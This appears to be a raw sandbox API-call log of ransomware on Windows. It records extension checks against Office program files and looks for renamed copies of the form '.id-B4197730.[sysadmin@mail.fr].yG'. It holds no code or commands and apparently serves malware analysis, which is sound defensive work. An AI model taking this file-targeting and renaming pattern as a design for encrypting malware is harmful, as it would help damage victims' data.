	[0156.878] lstrlenW (lpString=".xlsx") returned 5
	[0156.878] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0156.878] lstrlenW (lpString=".ppt") returned 4
	[0156.878] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.878] lstrlenW (lpString=".zip") returned 4
	[0156.878] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0156.878] lstrlenW (lpString=".rar") returned 4
	[0156.878] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0156.878] lstrlenW (lpString=".bz2") returned 4
	[0156.878] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0156.878] lstrlenW (lpString=".7z") returned 3
	[0156.878] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.878] lstrlenW (lpString=".dbf") returned 4
	[0156.878] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.879] lstrlenW (lpString=".1cd") returned 4
	[0156.879] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.879] lstrlenW (lpString=".jpg") returned 4
	[0156.879] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.879] lstrlenW (lpString=".doc") returned 4
	[0156.879] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0156.879] lstrlenW (lpString=".docx") returned 5
	[0156.879] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0156.879] lstrlenW (lpString=".pdf") returned 4
	[0156.879] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0156.879] lstrlenW (lpString=".xls") returned 4
	[0156.879] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0156.879] lstrlenW (lpString=".xlsx") returned 5
	[0156.879] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0156.879] lstrlenW (lpString=".ppt") returned 4
	[0156.879] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0156.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.879] lstrlenW (lpString=".zip") returned 4
	[0156.879] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0156.879] lstrlenW (lpString=".rar") returned 4
	[0156.879] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0156.897] lstrlenW (lpString=".bz2") returned 4
	[0156.898] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0156.898] lstrlenW (lpString=".7z") returned 3
	[0156.898] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.898] lstrlenW (lpString=".dbf") returned 4
	[0156.898] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.898] lstrlenW (lpString=".1cd") returned 4
	[0156.898] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0156.898] lstrlenW (lpString=".jpg") returned 4
	[0156.898] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0156.899] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0156.899] lstrlenW (lpString="AppVPackaging.dll") returned 17
	[0156.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.133] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=578264) returned 1
	[0157.133] CloseHandle (hObject=0x550) returned 1
	[0157.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220
	[0157.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.134] lstrlenW (lpString=".doc") returned 4
	[0157.134] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.134] lstrlenW (lpString=".docx") returned 5
	[0157.134] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0157.134] lstrlenW (lpString=".pdf") returned 4
	[0157.134] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.134] lstrlenW (lpString=".xls") returned 4
	[0157.134] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.134] lstrlenW (lpString=".xlsx") returned 5
	[0157.134] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0157.134] lstrlenW (lpString=".ppt") returned 4
	[0157.134] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.135] lstrlenW (lpString=".zip") returned 4
	[0157.135] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.135] lstrlenW (lpString=".rar") returned 4
	[0157.135] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.135] lstrlenW (lpString=".bz2") returned 4
	[0157.135] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.135] lstrlenW (lpString=".7z") returned 3
	[0157.135] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.135] lstrlenW (lpString=".dbf") returned 4
	[0157.135] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.135] lstrlenW (lpString=".1cd") returned 4
	[0157.135] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.135] lstrlenW (lpString=".jpg") returned 4
	[0157.135] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.135] lstrlenW (lpString=".doc") returned 4
	[0157.135] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.135] lstrlenW (lpString=".docx") returned 5
	[0157.136] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0157.136] lstrlenW (lpString=".pdf") returned 4
	[0157.136] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.136] lstrlenW (lpString=".xls") returned 4
	[0157.136] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.136] lstrlenW (lpString=".xlsx") returned 5
	[0157.136] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0157.136] lstrlenW (lpString=".ppt") returned 4
	[0157.136] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.136] lstrlenW (lpString=".zip") returned 4
	[0157.136] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.136] lstrlenW (lpString=".rar") returned 4
	[0157.136] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.136] lstrlenW (lpString=".bz2") returned 4
	[0157.136] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.136] lstrlenW (lpString=".7z") returned 3
	[0157.136] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.136] lstrlenW (lpString=".dbf") returned 4
	[0157.136] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.136] lstrlenW (lpString=".1cd") returned 4
	[0157.137] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0157.137] lstrlenW (lpString=".jpg") returned 4
	[0157.137] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.137] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.137] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27
	[0157.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.138] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=96472) returned 1
	[0157.138] CloseHandle (hObject=0x550) returned 1
	[0157.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220
	[0157.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.139] lstrlenW (lpString=".doc") returned 4
	[0157.139] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.139] lstrlenW (lpString=".docx") returned 5
	[0157.139] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0157.139] lstrlenW (lpString=".pdf") returned 4
	[0157.139] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.139] lstrlenW (lpString=".xls") returned 4
	[0157.139] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.140] lstrlenW (lpString=".xlsx") returned 5
	[0157.140] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0157.140] lstrlenW (lpString=".ppt") returned 4
	[0157.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.140] lstrlenW (lpString=".zip") returned 4
	[0157.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.140] lstrlenW (lpString=".rar") returned 4
	[0157.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.140] lstrlenW (lpString=".bz2") returned 4
	[0157.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.140] lstrlenW (lpString=".7z") returned 3
	[0157.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.140] lstrlenW (lpString=".dbf") returned 4
	[0157.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.140] lstrlenW (lpString=".1cd") returned 4
	[0157.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.140] lstrlenW (lpString=".jpg") returned 4
	[0157.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.141] lstrlenW (lpString=".doc") returned 4
	[0157.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.141] lstrlenW (lpString=".docx") returned 5
	[0157.141] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0157.141] lstrlenW (lpString=".pdf") returned 4
	[0157.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.141] lstrlenW (lpString=".xls") returned 4
	[0157.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.141] lstrlenW (lpString=".xlsx") returned 5
	[0157.141] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0157.141] lstrlenW (lpString=".ppt") returned 4
	[0157.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.141] lstrlenW (lpString=".zip") returned 4
	[0157.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.141] lstrlenW (lpString=".rar") returned 4
	[0157.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.141] lstrlenW (lpString=".bz2") returned 4
	[0157.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.142] lstrlenW (lpString=".7z") returned 3
	[0157.142] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.142] lstrlenW (lpString=".dbf") returned 4
	[0157.142] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.142] lstrlenW (lpString=".1cd") returned 4
	[0157.142] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76
	[0157.142] lstrlenW (lpString=".jpg") returned 4
	[0157.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.142] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.142] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36
	[0157.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.143] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=49368) returned 1
	[0157.143] CloseHandle (hObject=0x550) returned 1
	[0157.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220
	[0157.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.144] lstrlenW (lpString=".doc") returned 4
	[0157.144] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.144] lstrlenW (lpString=".docx") returned 5
	[0157.144] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0157.144] lstrlenW (lpString=".pdf") returned 4
	[0157.144] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.144] lstrlenW (lpString=".xls") returned 4
	[0157.144] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.144] lstrlenW (lpString=".xlsx") returned 5
	[0157.144] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0157.144] lstrlenW (lpString=".ppt") returned 4
	[0157.144] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.145] lstrlenW (lpString=".zip") returned 4
	[0157.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.145] lstrlenW (lpString=".rar") returned 4
	[0157.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.145] lstrlenW (lpString=".bz2") returned 4
	[0157.145] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.145] lstrlenW (lpString=".7z") returned 3
	[0157.145] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.145] lstrlenW (lpString=".dbf") returned 4
	[0157.145] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.145] lstrlenW (lpString=".1cd") returned 4
	[0157.145] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.145] lstrlenW (lpString=".jpg") returned 4
	[0157.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.145] lstrlenW (lpString=".doc") returned 4
	[0157.146] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.146] lstrlenW (lpString=".docx") returned 5
	[0157.146] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0157.146] lstrlenW (lpString=".pdf") returned 4
	[0157.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.146] lstrlenW (lpString=".xls") returned 4
	[0157.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.146] lstrlenW (lpString=".xlsx") returned 5
	[0157.146] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0157.146] lstrlenW (lpString=".ppt") returned 4
	[0157.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.146] lstrlenW (lpString=".zip") returned 4
	[0157.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.146] lstrlenW (lpString=".rar") returned 4
	[0157.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.146] lstrlenW (lpString=".bz2") returned 4
	[0157.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.146] lstrlenW (lpString=".7z") returned 3
	[0157.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.146] lstrlenW (lpString=".dbf") returned 4
	[0157.146] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.146] lstrlenW (lpString=".1cd") returned 4
	[0157.147] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85
	[0157.147] lstrlenW (lpString=".jpg") returned 4
	[0157.147] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.147] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.147] lstrlenW (lpString="Microsoft.AppV.Modernizer.CSharp.dll") returned 36
	[0157.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.148] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=363736) returned 1
	[0157.148] CloseHandle (hObject=0x550) returned 1
	[0157.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220
	[0157.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.149] lstrlenW (lpString=".doc") returned 4
	[0157.149] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.149] lstrlenW (lpString=".docx") returned 5
	[0157.149] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0157.149] lstrlenW (lpString=".pdf") returned 4
	[0157.149] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.149] lstrlenW (lpString=".xls") returned 4
	[0157.149] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.149] lstrlenW (lpString=".xlsx") returned 5
	[0157.149] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0157.149] lstrlenW (lpString=".ppt") returned 4
	[0157.149] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.149] lstrlenW (lpString=".zip") returned 4
	[0157.149] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.149] lstrlenW (lpString=".rar") returned 4
	[0157.149] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.149] lstrlenW (lpString=".bz2") returned 4
	[0157.149] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.150] lstrlenW (lpString=".7z") returned 3
	[0157.150] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.150] lstrlenW (lpString=".dbf") returned 4
	[0157.150] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.150] lstrlenW (lpString=".1cd") returned 4
	[0157.150] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.150] lstrlenW (lpString=".jpg") returned 4
	[0157.150] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0157.150] lstrlenW (lpString=".doc") returned 4
	[0157.150] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
